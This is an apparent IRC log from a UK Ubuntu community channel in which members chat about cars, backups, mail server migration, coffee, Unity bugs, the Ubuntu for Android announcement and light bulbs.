<popey> pushbike and motorbike are not useful to me
<BigRedS> mm, and a decent sized motorbike isn't much more efficient than a prius
<TheOpenSourcerer> A VAN? popey
<popey> I need something i can put kids in
<BigRedS> which is a bit concerning
<gord> get those little side cars to put on a moterbike
<popey> heh
<diplo> iclebyte, not that I know of.. I'd change ports and use a firewall to lock it down maybe ?
<popey> motorbike is veto'ed here
<TheOpenSourcerer> On Today this morning they were talking about how you can get up to Â£8000 disc. if you buy an electric van.
<diplo> I want to replace my Zafira for something more Efficient, thinking VM myself
<daubers> popey: Something you can put kids in? So a new suitcase then
<popey> golly
<diplo> VW*
<popey> think is the volvo just works and will probably go on for years
<popey> it's just expensive to run really
<directhex> popey, a used prius isn't a bad choice - they depreciate fast, but the way the electric system works, you don't really lose out much with an older battery - the electric is only useful for acceleration at low speeds, and creeping along in traffic
<directhex> popey, just had to pay my tax disc. 25% credit card surcharge!
<popey> !
<bigcalm> That's why I used my debit card
<directhex> sounds more impressive saying it that way than Â£2.50
<bigcalm> 165 quid is enough in itself
<popey> :D
<TheOpenSourcerer> Â£190 here
<popey> hang on, 10 quid road tax on the prius?
<bigcalm> directhex: 10 quid tax?
<directhex> bigcalm, yeah. i have the old 2nd generation model, so it costs me Â£10 a year in tax
<bigcalm> :O
<directhex> 3rd gen prius is free to tax
<popey> lummy
<bigcalm> Ok, road tax is one cost. How does it fair for fuel consumption, insurance, reliability?
<directhex> which is funny, since the gen3 has a 1.8l engine, gen2 has 1.5l
<directhex> bigcalm, fuel consumption is really tyre dependent. i switched to energy saving tyres and lost 3mpg. the default (expensive) bridgestones toyota use are better
<directhex> but last less time. i wanted a tyre i could get 20+k miles from
<TheAshMan> ./me drives a 1 Series BMW and only pays Â£30 a year road tax :D
<bigcalm> Keep away from Avon. Had my front tyers for about a year and a half and the tread has almost gone
<directhex> bigcalm, so nowadays i get 47mpg comfortably
<TheAshMan> I also get about ~50mpg on average.
<bigcalm> About the same as my 407
<bigcalm> Swings and roundabouts. Finding something that is cost effective over time takes a lot of thought
<directhex> insurance is technically a very high group, but isn't actually priced that high on the assumption that prius drivers don't hit walls very often
<directhex> TheAshMan, diesel?
<TheAshMan> directhex: yeah 2.0 TDI (118D Model)
<bigcalm> That'd be nice. I'm still penalised for flood damage claim from 2007. Hopefully will see a drop next year
<iclebyte> diplo, it's actually internal - a relic of old cisco systems
<directhex> so my insurance cost didn't go up dramatically compared to the jazz. maybe 100ish extra in the first year.
<directhex> reliability... not had a breakdown. servicing costs are high, especially at a dealership, but that's common to japanese brands
<bigcalm> Considering that I'm still repaying the loan for this car, I shouldn't be looking at others
<directhex> i've not finished paying the prius off yet
<directhex> i'll need to keep it a while i reckon, babies are expensive
<zleap> raspberry PI drop box port https://www.dropbox.com/votebox/8029/raspberry-pi-arm-port
<popey> zleap: kinda duplicating a poll that already exists there
<popey> https://www.dropbox.com/votebox/358/linux-arm-support
<zleap> sorry,
<diplo> iclebyte, We still have to use telnet on our system we maintain, it sucks :/
<davmor2> morning all
<davmor2> czajkowski: prod
<bigcalm> Hi davmor2
<czajkowski> davmor2: ello ello
<davmor2> oh god czajkowski thinks she is a copper
<davmor2> morning MooDoo bigcalm czajkowski how's life all
<bigcalm> She thought that she was Kim Jong-il earlier
<bigcalm> Full of beans. Just got my 9cell 7800mAh battery for the laptop. Waiting for the sucker to fully charge
<bigcalm> How's you?
<davmor2> tired but other than that rockin and a rolling
<MooDoo> morning davmor2 life?  will be ok at 4:30
<davmor2> MooDoo: here's something to help you through the day, http://sadtrombone.com and http://instantrimshot.com
<MooDoo> davmor2: SFW?
<davmor2> MooDoo: yeap
<popey> !ask
<lubotu3> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience
<popey> !patience
<lubotu3> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
<daubers> Urgh, why do people always fille RAIDS to the brim
 * daubers sends a "I hope you have a backup of this 18TB of stuff" email
<BigRedS> backup? but we have raid
<diplo> 18TB!?!?!?
<diplo> heh BigRedS - That is the normal response still, doesn't seem to sink in with anyone
<daubers> diplo: Yeah, only a little one
<BigRedS> diplo: At my last job I 'deleted' 1TB of their media archive by mistake to demonstrate the difference
 * daubers gets BigRedS to sign a data waiver
<BigRedS> That secured funding for a backup file server :)
<BigRedS> (and then I put the files back)
<daubers> heh
<diplo> heh
<diplo> My new job has FA funds for big projects :(
<BigRedS> yeah, that backup file server had already become the mail server before it had been delivered IIRC
<BigRedS> but we needed one of those more desperately than the studio needed to backup their artwork
<diplo> daubers, how do you backup 18TB ?
<diplo> Lot's of tapes, or mirror to another 18TB setup ?
<BigRedS> tapes? How quaint :)
<popey> âº
<diplo> Not use tapes at all any more ?
<diplo> We do + other disc, + off site rsyncs
<BigRedS> We just rsync all over the place
<daubers> diplo: Another raid, or LTO
<daubers> I'm talking to a company that have a big spinny disk based LTO alternative, which is quite interesting
<diplo> I looked at that at my last place, something offered by a partner at Dell
<daubers> LTO5 is 1.5TB, so you don't need that many tapes
<daubers> diplo: This thing http://www.diskarchive.tvarn.eu/index.php/dachome
<diplo> They supply the software as well ?
<diplo> Dont get points for website design though
<diplo> :P
<daubers> diplo: yeah, it's all on the box. Some web based thingy. Act's like a NAS
<diplo> Cool, discs are the way forward tbh
<daubers> As long as you keep them spinning :)
<daubers> Don't archive long term very well
<diplo> heh yep
<daubers> Which is why people seem to like LTO
<diplo> General backup to disc, monthly to LTO would work in general for me
<daubers> We generally get people archiving specific projects to an LTO once done. Or the rushes for a project
<diplo> Biggest issue for me in the last job was trusting the staff to actually change the tapes :(
<daubers> heh, yeah :)
<BigRedS> man, I could really do with syntax highlighting of bash one-liners
<BigRedS> which might be a sign that this should really be a script...
<TheOpenSourcerer> I haz Battenburg :-)
<MooDoo> yum
<TheOpenSourcerer> A little snack before lunch
<BigRedS> Oh, I thought you were marching on Germany
<diplo> ooh I keep forgetting to 'Buy that for the kids' !
<BigRedS> Germany?
 * popey ponders lunch
<popey> some beef left over
<MooDoo> blimey that crept up quick
<popey> I think i may have a throat-burning beef and mustard sandwich
<bigcalm> Raclette cheese and red onion toasted sandwiches for me :D
<directhex> raclette cheese outside its natual environment?
<TheOpenSourcerer> Hmmm, that's the one normally melted under a lamp isn't it?
<TheOpenSourcerer> A swiss invention.
<TheOpenSourcerer> Like a fondue but without the pot
<bigcalm> Yes
<bigcalm> But not really like a fondue as this is just cheese
 * TheOpenSourcerer thinks mini-pork pie, sausages, cheese straws and pickles should do the trick today.
<MooDoo> +1
<gord> things melted under a lamp isn't really an invention, more an accident
<TheOpenSourcerer> Am really losing-the-will-to-live writing this bloody project definition...
<AlanBell> fondue in general is more of an "OMG look at the state of that cheese! And the bread is all stale, but we have nothing else, how are we going to eat it??"
<BigRedS> Fancy swapping? I've a server that's haunted by qmail to excorcise
<diplo> heh qmail, not touched that in a couple of years
<BigRedS> I think I've managed to sidestep being seen as soembody who knows it, but somehow I seem to be viewed as someone who enjoys migrating people from it to postfix
<diplo> Ah so when I get my vps next week or so you are the postfix man then ? :)
<BigRedS> I enjoy it in the sense that i feel I'm doing a Good Thing for humanity, but not because of any fondness for the process...
 * diplo jots this down
<BigRedS> dammit
<diplo> I only ever really knew Qmail, that's all we ever used tbh
<BigRedS> If you're installing Debian, https://github.com/BigRedS/postfixadmin-installer might be handy
<diplo> Once we got it how we liked it, it just worked for years
<BigRedS> Well, you testing it would be handy for me :)
<diplo> Cool, good for me
<BigRedS> I think Ubuntu already has a package for that, though it should really be a dselect thing
<diplo> ah well it was going to be an ubuntu install but can defo give it a go
<BigRedS> That should work on Ubuntu
<BigRedS> I tested it on whatever the last LTS was
 * AlanBell reads a rather fine project definition document
<diplo> Cool
<BigRedS> but it's probably more sensible to do it the proper way with that package whose name I can't remember
<diplo> 10.04, thats what it will go on initially
<diplo> my $postfixadminURL = "http://downloads.sourceforge.net/project/postfixadmin/postfixadmin/postfixadmin-2.3.3/postfixadmin-2.3.3.tar.gz?r=http%3A%2F%2Fsourceforge.net
<diplo> Hard coded the package ?
<BigRedS> yeah
<BigRedS> that's on the to-do-list
<BigRedS> make it use the .deb
<BigRedS> and put the .deb into my deb repository
<BigRedS> in fact, if you pester me this evening, I might do it then
<BigRedS> I'll charge work for it :)
<diplo> Sorry boss on the phone, can test it for you in a vm tonight i guess but probably won't do it till i order my vps on Wednesday
<BigRedS> ah, no, I've got tests going on. In fact there's another couple of bugs from this morning....
<BigRedS> I've found that if it's going into a clean machine it's normally fine
<BigRedS> just keeps tripping over stupid qmail/vpopmail/courier detritus getting in the way
<BigRedS> though that's probably something to fix in our migration scripts)
<diplo> Do you have that many setups you need to automate it with that ?
<BigRedS> yeah, we're a hosting company
<BigRedS> and about ten years ago we standardised on vpopmail for virtual domain mail, but that requires a courier lib that's hard to do in Lenny and deemed 'too hard' in squeeze
<diplo> :(
<diplo> Big company ?
<BigRedS> well, on the plus side it means we're leaving vpopmail behind :)
<BigRedS> 400 or so servers so probably not
<mattt> vpopmail?  oldschool
<mattt> i haven't heard that in ages
<BigRedS> yeah, for good reason :)
<mattt> we used to use that for our mail clusters too :)
<diplo> heh, bringing memories for everyone :)
<BigRedS> yeah, bad memories in the main
<AlanBell> if anyone is thinking of requesting sponsorship to go to UDS-Q then today would be a really good day to fill out the form as the deadline is tomorrow http://summit.ubuntu.com/uds-q/sponsorship/
<daubers> \o/ pancakes in the office
<hamitron> fatty
<hamitron> ;/
<daubers> but tasty
<daubers> om nom nom nom
<hamitron> :/
<hamitron> I got home made cheese scones here to eat
<hamitron> but waiting till tea break
<popey> fatty
<popey> âº
<hamitron> although, not really getting much work done
<hamitron> ;p
<diplo> Anyone recommend a bug tracker
<diplo> ?
<diplo> Or recommend what they already use in there work place
<penguin42> they're all awful - some are more awful than others
<diplo> :(
<diplo> Bit's of paper and google docs sharing isn't cutting it either for me
 * penguin42 uses a bugzilla instance at work - it does work but isn't that powerful
<penguin42> diplo: There is request tracker for things that aren't really bugs - more like tasks to do: http://bestpractical.com/rt/
 * penguin42 wonders if anyone has ever installed launchpad outside of canonical
<diplo> heh, I've heard people have tried and it's quite complicated
<diplo> Yeah used RT before, more of a task/support management
<diplo> More after bugzilla type affair
<penguin42> lp doesn't seem too bad - except given the number of timeouts we get I'd say it can't cope with the load; probably not an issue inside a company
<ormiret> diplo: I use trac and quite like it
<diplo> Will take a look ta
<czajkowski> gord: davmor2 popey how do ye manage the lunch thing? take a break go for a walk or munch at your desk ?
<davmor2> czajkowski: well I go downstairs and eat as my office is effectively the spare bedroom.
<czajkowski> nods
<davmor2> czajkowski: to be honest though if you sit and eat where the pc is you won't have a break as such is what I found
<bigcalm> czajkowski: I watch a little tv, do washing up, laundry, mow the lawn, do food shopping. Usually washing up kills most of the lunch break though
<popey> czajkowski: i go to the kitchen put the radio on, do some washing, empty the dishwasher etc
<popey> whilst my soup cooks
<bigcalm> Do something completely unrelated to using a computer
<bigcalm> You need to disconnect
<diplo> davmor2, czajkowski : I am really bad at not taking lunches ( Leaving the office / desk is a must imo ) otherwise you won't do it
<diplo> I don't do it atm, feel shit for it as well
<bigcalm> !ohmy | diplo
<lubotu3> diplo: Please remember that all Ubuntu IRC channels share the same attitude of providing friendly and polite interaction with all users of all ages and cultures. Basically, this means no foul language and no abuse towards others.
<diplo> pfft :)
<czajkowski> nods went to shop to get pancake stuff
<czajkowski> but that doenst take long
<czajkowski> just need to work on that
<czajkowski> cheers
<gord> depends on how busy i am really
<gord> past few weeks i've been at my desk every lunch really, otherwise going into town to the coffee shop is nice, can take the laptop and carry on working after lunch before coming back later in the day
<davmor2> mrevell: thanks for the mail to wolveslug been a bit swamped
<mrevell> np dude
<bigcalm> Must keep warm
<bigcalm> Will possibly bring fingerless gloves
<Myrtti> *sigh*
<czajkowski> Myrtti: you ok?
<Myrtti> yeah.
<airurando> afternoon
<airurando> czajkowski suggested I ask you good people for help
<airurando> I'm only just getting used to unity (I am slow to change)
<airurando> I am aware of global menus but not very familiar with the concept.
<airurando> I'm only seeing 'close-min-max boxes' on some of my applications under 12.04
<czajkowski> airurando: hiya, just a lot more unity folks in here, and and some of whom even like it unlike in other channels
<airurando> :)
<daubers> Is the rc6 kernel in the kernel team ppa or is it  the general release one
 * daubers just realised he has a sandy bridge machine
<airurando> duabers are you talking to me?
<airurando> on some of these applications there is no top bar to move a window around on the screen
<airurando> on some others, if there is a top bar it can't be grabbed to move the window
<czajkowski> airurando: AlanBell was looking at min max stuff earlier on
<daubers> airurando: Sorry, no , was just a question :)
<AlanBell> hi airurando
<AlanBell> that sounds like bugs :)
<AlanBell> there are a few applications that try to draw their own menus, not using the standard APIs for the window manager to to it
<AlanBell> such as LibreOffice and chromium and probably a few others
<AlanBell> there are patches to rip out the application menu and make "real" menus that the unity window manager can stuff in the top bar
<airurando> Thanks Alan Bell
<airurando> *AlanBell
<airurando> daubers thought so, just making sure. confused the heck out of me :)
<gord> daubers, its in precice main
<daubers> gord: Ta :)
<daubers> gord: I assumed it was based on my powerstat numbers
<popey> yeah
<popey> tis really good
<daubers> average of 10 watts really isn't bad
 * daubers ruins it with rc6 off
<daubers> s/ruin/run
<gord> really only feels like i'm getting 5 hours or so of use out of it with this though
<popey> stupid lenovo engineer hasn't arrived yet with my new mobo
 * daubers wonders if he's in this IRC channel...
<gord> this is why all service personnel should be constantly gps tracked
<popey> âº
<DJones> popey: Did you fill the customer service questionnaire in that you mentioned you had for lenovo?
<popey> not yet
 * popey wonders who he could tickle to get bug 937885 fixed  âº
<lubotu3> Launchpad bug 937885 in gnome-video-arcade (Ubuntu) "Please update gnome-video-arcade to latest release" [Undecided,New] https://launchpad.net/bugs/937885
 * popey tickles Laney 
<davmor2> popey: possibly because you'd know who to tickle to get it done?
<Laney> it's in debian
<Laney> test it and make a sync request
<Laney> :-)
<popey> wilco
<bigcalm> How many mugs of coffee is too many for one day?
<BigRedS> depends on the size of the mug
<Laney> â
<bigcalm> Normal tea mug side
<bigcalm> sized
<DJones> and decaff/full fat coffee
<bigcalm> Normal cartnoire filter coffee
<davmor2> bigcalm: if you can't get off the loo but are still drinking coffee you need to cut back
<awilkins> For me, 2
<BigRedS> I'd get a bit concerned at eight or nine
<bigcalm> Currently sipping my 5th since 9am
<awilkins> 2 cups and I'm a bit jittery
<bigcalm> Problem is it's so easy to do
 * AlanBell is a bit of a chain-drinker of coffee
<DJones> one of the directors here drinks cartenoir instant, he has about 5-6 pint mugs plus gets a large costa coffee in the morning
<awilkins> I drink cafetiere
<awilkins> Currently I'm on Taylors Hot Lava Java, which is a bit !ka-chow! for me, but tasty.
<DJones> awilkins: Hot lava java doesn't half give you a bit of a jolt
<BigRedS> yeah, that's become my default thing to pick up in the supermarket
<BigRedS> which is a bit of a change from the decaf I've been on for months
 * AlanBell has a pack of hot lava java
<BigRedS> has a cafetiere with some sligtly damp hot lava java in the bottom of it
<awilkins> IMHO instant coffee is horrible
<BigRedS> I have almost no standards whatsoever when it comes to coffee
<DJones> BigRedS: I'm the same, my only two standards are 1) No milk in coffee, 2) No sugar in coffee
<awilkins> Milk and sugar are permitted as long as they come with cocoa, otherwise, I agree
<BigRedS> DJones: yes, exactly. I tried milky coffee once, and I do not understand it
<DJones> BigRedS: There's 3 people in our office, my coffee is black, 1 coffee is black with dibble of milk, the 3rd is a grain of coffee with half a cow and a drop of water
<BigRedS> Haha
<BigRedS> At my last job there were six of us, each taking identical blck coffees
<BigRedS> that was handy
<awilkins> I also take tea black
<awilkins> With no sugar
<BigRedS> here, we've a milk+two sort
<awilkins> Always hated sugar in tea, but the no-milk habit was born at university when I had no milk
<awilkins> I could taste the leaves better
<gord> and milk is expensive?
<awilkins> Well, not free
<DJones> awilkins: +1 on black tea
<awilkins> I can't drink tea if someone who takes sugar stirs mine with their spoon
<awilkins> Blech
 * AlanBell will be booking tickets to http://www.royalalberthall.com/tickets/go-surrey/default.aspx
 * MartijnVdS has tickets for this: http://www.nerinapallot.com/shop2/?order1.cfm?Basket=1@,&ProductOptionID=5013
<MartijnVdS> uh, the London one, not the Salford one
 * AlanBell booked one ticket
<gord> oooh right, i forgot. we are doing sports day this year
<diplo> Never heard of her
<gord> i mean olympics
<MartijnVdS> diplo: if you like singing women, give her a listen :)
<diplo> Will do, jotted name down to try tonight at home
<diplo> Doesn't come over your way then MartijnVdS ?
<AlanBell> my gamesmaker applications (for helping out with sports day) are under review still
<MartijnVdS> diplo: no, she has a young kid and she doesn't want to be on the road for too long
<MartijnVdS> diplo: so I'll go to the special "all albums and EPs in 2 nights" show :)
<jonsaint> hi all. im trying to get a friend of mine to insall ubuntu but hes asked me something i dont know! he wants to know if theres a programme tha he can use that alows him to copy his original dvds and store them on his pc. any ideas??
<AlanBell> !dvd
<lubotu3> Ubuntu's default installation and repositories do not include packages needed to play commercial DVDs for legal reasons. For information on adding them, see https://help.ubuntu.com/community/RestrictedFormats/PlayingDVDs | For information on the legalities involved, see the "DVD" section of https://help.ubuntu.com/community/FreeFormats
<AlanBell> !rip
<lubotu3> For information about the Sound Juicer ripping application see: https://help.ubuntu.com/community/CDRipping. To rip an Audio CD in KDE, put it in and then put audiocd:// in the Konqueror URL bar
<diplo> Lot's jonsaint
<diplo> lol AlanBell is there :D
<diplo> Also handbrake is good for ripping DVD's
<jonsaint> its nothing illegal, hes one of these thats keps a backup of evereything because his kids keep scratching the originals lol
<diplo> jonsaint, same here :)
<diplo> 2TB of copies and counting
<jonsaint> so handbrake or !rip is good and easy (taking into account hes never used ubuntu before)
<diplo> There are absolutley loads of programs out there, if you follow the links that were posted above by lubotu3
<diplo> They will start you in the right direction
<jonsaint> cheers. ive saved the link. il decypher it later and try to explain it to him lol
<TheOpenSourcerer> ZOMG! http://www.ubuntu.com/devices/android
<ali1234> er
<ali1234> there's some seriously weird stuff on that page
<penguin42> TheOpenSourcerer: Interesting
<diplo> off home, laters
<ali1234> i didn't know Adobe's creativity profile was certified to run on Ubuntu
<ali1234> how do i install after effects?
<popey> Laney: how do I convert that bug into a sync request?
<Laney> retitle it
<popey> bug 937885
<lubotu3> Launchpad bug 937885 in gnome-video-arcade (Ubuntu) "Please sync gnome-video-arcade 0.8.2 from debian" [Undecided,New] https://launchpad.net/bugs/937885
<popey> done :D
<Laney> if it needs FFe you need to add that information
<Laney> !ffe
<lubotu3> Feature Freeze Exception. See https://wiki.ubuntu.com/FreezeExceptionProcess for the freeze exception process.
<Laney> Developer Lifeâ¢
<popey> ta
 * Laney is off to https://nottingham.ac.uk/cas/aboutus/events/andrew-ritchie-public-lecture.aspx
<Laney> maybe i'll see sladen there
<Laney> ttyl
<shauno> what a day :/  I have to find an ftpd I can install on windows7.  I've lost track of how manys in which this is just wrong.
<penguin42> shauno: cygwin?
<BigRedS> penguin42: that just makes it worse
<penguin42> BigRedS: I guess so, but he's already in a big enough hole...
<TheOpenSourcerer> Wonder when we'll see a Samsung Galaxy With Ubuntu? Would be pretty cool with a decent dock. A bit like the Dell Streak was supposed to do...
<popey> its rather cool
<AlanBell> popey: does it exist?
<ali1234> ubuntu was ported to samsung galaxy ages ago
<AlanBell> yeah, but in a chroot with android vnc display
<popey> define "exist" âº
<ali1234> also most of the HTC HD series
<ali1234> AlanBell: no, that's incorrect, it is a native port
 * TheOpenSourcerer hears AlanBell begging popey for a linky so he can root his SII
<penguin42> ali1234: Can you make a call on it?
<ali1234> penguin42: no, but only because ubuntu has no software for making calls
<TheOpenSourcerer> "You can also make and receive calls via the desktop - and you'll be alerted to voicemails so you can manage them while you work."
<ali1234> do you think you'll be able to make a call on this thing?
<popey> yes
<popey> you can
<ali1234> does it work like it did on the atrix?
<popey> you can do everything an android phone does, plus you can run ubuntu desktop
<ali1234> where you get android in a little window for making calls?
<popey> i havent seen the old atrix, sorry
<TheOpenSourcerer> That's a cool idea. Running Ubuntu & Android on the same kernel.
<AlanBell> is VNC involved in the stack?
<popey> its not vnc
<popey> its an hdmi port with ubuntu running through that "properly"
<popey> IYKWIM
<popey> well, I think it's HDMI, whatever that dock thing in the picture has
<AlanBell> so same kernel sounds like it is a chroot
<AlanBell> http://www.mobilefun.co.uk/samsung-galaxy-s2-desktop-charge-cradle-with-hdmi-out-p31477.htm
<AlanBell> something like that
<bigcalm> Oh, fun
<TheOpenSourcerer> Looks like the one in the Ubuntu picture.
<AlanBell> so if ubuntu and android can share filesystem space that might be interesting for stuff like dropbox
<czajkowski> gord: when is the fix for hud stealing focus from screens coming ?
<gord> czajkowski, every time someone asks i delay it by another day ;)
<penguin42> TheOpenSourcerer: Actually the really nice use for this is where you're somewhere that you're not allowed to use a work/customers network to access the internet but want a full screen
<czajkowski> gord: there are words for you!!!
<gord> fantastic, wonderful, magnificent
<TheOpenSourcerer> OK - I have to go and help at Scouts this evening - They are making pancakes. This could get messy. Better go and make some dinner first.
<ali1234> ah, i didn't know the atrix used ubuntu anyway
<davmor2> czajkowski: just press alt twice for now :)
<davmor2> ali1234: there is a screenshot on another page showing that popup
<ali1234> what popup?
<davmor2> ali1234: the incoming call one
<davmor2> ali1234: http://www.ubuntu.com/devices/android/features-and-specs about half way down
<ali1234> uh... a notification with buttons? i thought that was not allowed?
<MartijnVdS> ali1234: maybe they came to their senses
<popey> heh
<diplo> Evening
<popey> and then it went quiet..
 * penguin42 fell asleep
 * popey has put tuna/pasta/cheese in the oven
<directhex> i have leftover pasta for dindins
<directhex> also some pancake mix
<popey> i should make some pancakes
<popey> i love pressing a button to remotely turn things off
<popey> also, tacos
<MartijnVdS> hmm tacos
<czajkowski> am pooped, brain has been fried today on infomration over load
<davmor2> czajkowski: Wuss
 * jacobw forgot about pancake day
<davmor2> jacobw: Shame on you!
<jacobw> :(
<jacobw> ubuntu for android..
<jacobw> since when?!
<BigRedS> about lunchtime
<jacobw> oh ok
<ali1234> since the motorola atrix was released about a year ago. seriously, why is everyone getting so excited about this?
<czajkowski> davmor2: between opps and translations today my brain is fried
<davmor2> czajkowski: I can run you through my day and see if you want to swap tomorrow if you like?
<czajkowski> nope am good thanks :)
 * davmor2 reverts czajkowski's status to wuss,  mind you I really don't want popey's or gord's day
<jacobw> zzz
<jacobw> ##canonical-whingers
<mattt> :D
<mattt> czajkowski: you work for canonical now?
<czajkowski> yup
<popey> ROCK ON!  bug 937885
<lubotu3> Launchpad bug 937885 in gnome-video-arcade (Ubuntu) "Please sync gnome-video-arcade 0.8.2 from debian" [Undecided,Fix released] https://launchpad.net/bugs/937885
<czajkowski> popey: did the laptop man arrive?
<popey> nope
<czajkowski> :(
 * AlanBell uninstalled skype and all the :i386 packages it pulled in, installed the oneiric version and in come all the :i386 things again :(
<ali1234> then you already had the oneiric version installed
<AlanBell> well at least it worked
<ali1234> the natty version depends on ia32libs which doesn't exist in precise
<ali1234> so unless there's some kind of exception handling in place to remap that package to :i386 packages, you would have had to force install it
<ali1234> in which case it wouldn't have pulled anything in
<mattt> czajkowski: congrats, doing anything interesting?
<czajkowski> yup lots of stuff on the launchpad team
<AlanBell> 2012-02-21 20:02:30 status installed ia32-libs 20090808ubuntu33
<AlanBell> 2012-02-21 20:02:31 status installed ia32-libs-multiarch:i386 20090808ubuntu33
<ali1234> o_O
<AlanBell>  This is a transitional package depending on ia32-libs-multiarch, an i386-only metapackage that depends on all of the libraries that were previously included in this package.  If no other packages are installed that depend on this package, it can be safely removed.
<ali1234> so there is an exception :/
<mattt> czajkowski: great, now i know who to bug w/ launchpad questions (kidding, i don't really use it)
<ali1234> oneiric skype doesn't depend on those packages though
<mattt> AlanBell: order those chairs yet?  :D
<ali1234> so you should no longer have them installed
<AlanBell> mattt: TheOpenSourcerer doesn't want one, but I am up for one
<mattt> AlanBell: let's see if popey's still interested
<popey> depends how much
<mattt> i doubt we'll get much discount off 3 :-/
<popey> i have no idea how much they are
<AlanBell> last time I asked about a similar chair from that supplier it was Â£225+VAT+delivery
<mattt> AlanBell: did you say ~ 250 + VAT?
<mattt> oh, even better
<mattt> i'll give them a call tomorrow
<popey> oh yeah, I'd go for one at that price
<popey> but not a similar chair, an aeron âº
<AlanBell> indeed
<diplo> Any of you guys no much about Blackberry's more to the point email setup ?
<AlanBell> kind of network dependent
<AlanBell> or BES dependent
<diplo> Friend of mine keeps getting this
<diplo> This message is used to carry data between the BlackBerry handheld and an
<diplo> associated server. Please do not delete, move or respond to this message -
<diplo> it will be processed by the server.
<diplo> He's just picking up pop3 server emails
<diplo> and gets one of these each time he sends a email
<AlanBell> I have not seen that happen
<diplo> 2 of his friends get same thing
<jacobw> another network ouage?
<mgdm> diplo: that sounds like a thing that happened with old mbox format mailboxes on Solaris machines
<ali1234> hmm
<ali1234> so i was just looking through IRC logs to find when i was talking about how unity is driving away the sensible contributors and leaving behind the people who can only whine
<ali1234> and it turns out i made that little rant on pancake day last year
<ali1234> odd coincidence
<MartijnVdS> ali1234's yearly pancake day rant
<Azelphur> pancakes clearly involve anger in the great ali1234
 * MartijnVdS gets his 2013 calendar
<Azelphur> involve? invoke*
<MartijnVdS> Pancakes OF DOOM
<ali1234> well i'm only doing it because of that ranty blog post doing the rounds today
<ali1234> so my guess is pancakes invoke rage universally
<ali1234> or i was right all along, and the pancake thing is just a bizarre coincidence
<AlanBell> select a particular day, find a unity rant, must be a coincidence!
<ali1234> AlanBell: it wasn't a unity rant. it was a rant from a developer about unity rants
<ali1234> quite likely the first of many
<ali1234> basically, the blame spiral that i predicted a year ago is now in full swing
<ali1234> (yes, there have been rants about rants before, but not from developers)
<AlanBell> anyone interested in participating in a paid hack day in London on 20th March, something to do with a dataset that the UK commission for employment and skills has and they want people to do interesting things with it
<AlanBell> day and a half to two days work, day rate of Â£350
<diplo> mgdm, they are probably going through a old qmail box
<AlanBell> plus food and it would probably be quite fun, run by Rewired State
<ali1234> AlanBell: what kind of things? like cooking the data to make things look better/worse than they actually are?
<AlanBell> heh, no :)
<ali1234> is the dataset available?
<AlanBell> like mashing it up with other stuff probably
<ali1234> like now?
<AlanBell> no, not yet
<AlanBell> oh I think I can post the link, this will be open to all later
<AlanBell> http://rewiredstate.org/events/ukces-db-hack
<popey> password protected
<AlanBell> nekIperphuk3 is the open sesame word of the day
<popey> oh dar
<popey> *dear
<popey> who designed that form?
<AlanBell> someone who thinks they are 1337 by the look of it
<popey> bloody hard to read
<daftykins> hey all
<AlanBell> "Labour Market Intelligence database" I guess that is jobcentre data or something
<ali1234> well, i don't come up with the clever charts, i just program them to someone else's specifications
<oly> guessing you guys have seen the ubuntu android thing, anyone know if you can do this on existing android phones ?
<popey> its for "future" phones
<ali1234> oly: only the motorola atrix
<ali1234> which has had this since jan 2011
<ali1234> and is almost certainly the phone pictured on the page
<oly> aha cheers, got that impression just could not think why it would not work on existing phones :p
<ali1234> it requires that the phone is able to handle two independent framebuffers on the internal display and HDMI out for one thing
<popey> http://www.pcpro.co.uk/news/373024/canonical-puts-ubuntu-on-android-smartphones
<popey> better pic there
<ali1234> and it requires that the phone supports usb host
<BigRedS> oh, I was hoping that was some ridiculous hack
<ali1234> popey: yes, that is definitely the atrix
<swat__> evening
<ali1234> btw, xda-developers already put full ubuntu on the atrix in march last year
<oly> damn it i just got my new phone :p
<ali1234> the only new thing here is that canonical wants to help OEMs do it officially
<ali1234> the atrix uses a fork of ubuntu in the official firmware
<ali1234> http://www.xda-developers.com/android/full-ubuntu-running-on-the-atrix/
<ali1234> in short, whether or not any existing phone can do it is entirely down to whether the kernel drivers will support it or not, which is down to the SoC vendors
<ali1234> it may also need some proprietary software on the ubuntu side to get the full integration on incoming calls and messages
<ali1234> but that can be rewritten if necessary
<daftykins> stupid question of the day: do you guys usually dispose of dead bulbs in your main rubbish?
<ali1234> yes
<daftykins> not done it for so long i feel almost guilty at that approach XD
<hamitron> don't the energy savers have mercury?
<hamitron> or some anyway
<ali1234> yeah
<hamitron> at the rubbish tip, the council here have a separate bin for them
<AlanBell> in America they are really jumpy about mercury from low energy bulbs
<hamitron> I just don't like low light bulbs full stop
<hamitron> :/
<jacobw> in America they're really jumpy about anything new :p
<hamitron> apart from genetically modified crops :)
<hamitron> or nuclear bombs
<hamitron> thinking about it, don't they normal act before thinking and knowing the facts? :/
<daftykins> energy saving ones annoy me when they've got that delay switching on
 * daubers loves his low energy bulbs
<daftykins> or the really bad ones that may as well be off when you flick them on, 'til they warm up
<hamitron> I just hate the fact I can't get any as bright as they claim to be
<daftykins> but they're definitely a good idea
<daftykins> oh?
 * AlanBell has bright low energy bulbs
<diplo> LED is probably what you want, just be ok to pay for them
<hamitron> I need 100W bulbs
<hamitron> that or more bulbs
<AlanBell> plenty of nice normal ones that warm up and give your eyes a few seconds to adjust to the full glare :)
<diplo> There are litterally 100's of models/manafacturers now
<directhex> we've only used energy savers for years
<directhex> including led
<diplo> Go to an electrical wholesaler rather than sheds ( B&Q  etc ) much better selection
<hamitron> there are none ;/
<diplo> What wholesalers ?
<hamitron> well, nothing local
<diplo> Where do you live ?
<hamitron> ordered some online, to save money ofc
<hamitron> East Yorkshire
<AlanBell> http://www.energybulbs.co.uk/products/Day+Light+Bulbs/Daylight+Spiral+Bulbs/DAYLIGHT+Spiral+Bulbs we got some of these ones
<diplo> We've got customers in yorkshire, I'll find out where they are based
<hamitron> yorkshire is no good
<hamitron> gotta be east
<hamitron> ;)
<hamitron> if I have to drive 60 miles to get a light bulb to save energy, I shall just save the fuel
<hamitron> I think the biggest problem, light bulbs are always behind ya, when working in a room
<diplo> heh, I know we have some in that area but there are defo lot's up your way
<diplo> Why I always use lamps
<diplo> never have my room lights on
<hamitron> we lack electrical sockets :/
 * hamitron curses
<diplo> Fit new ones :)
<diplo> http://www.alertelectrical.com/cat/439/socket-converters
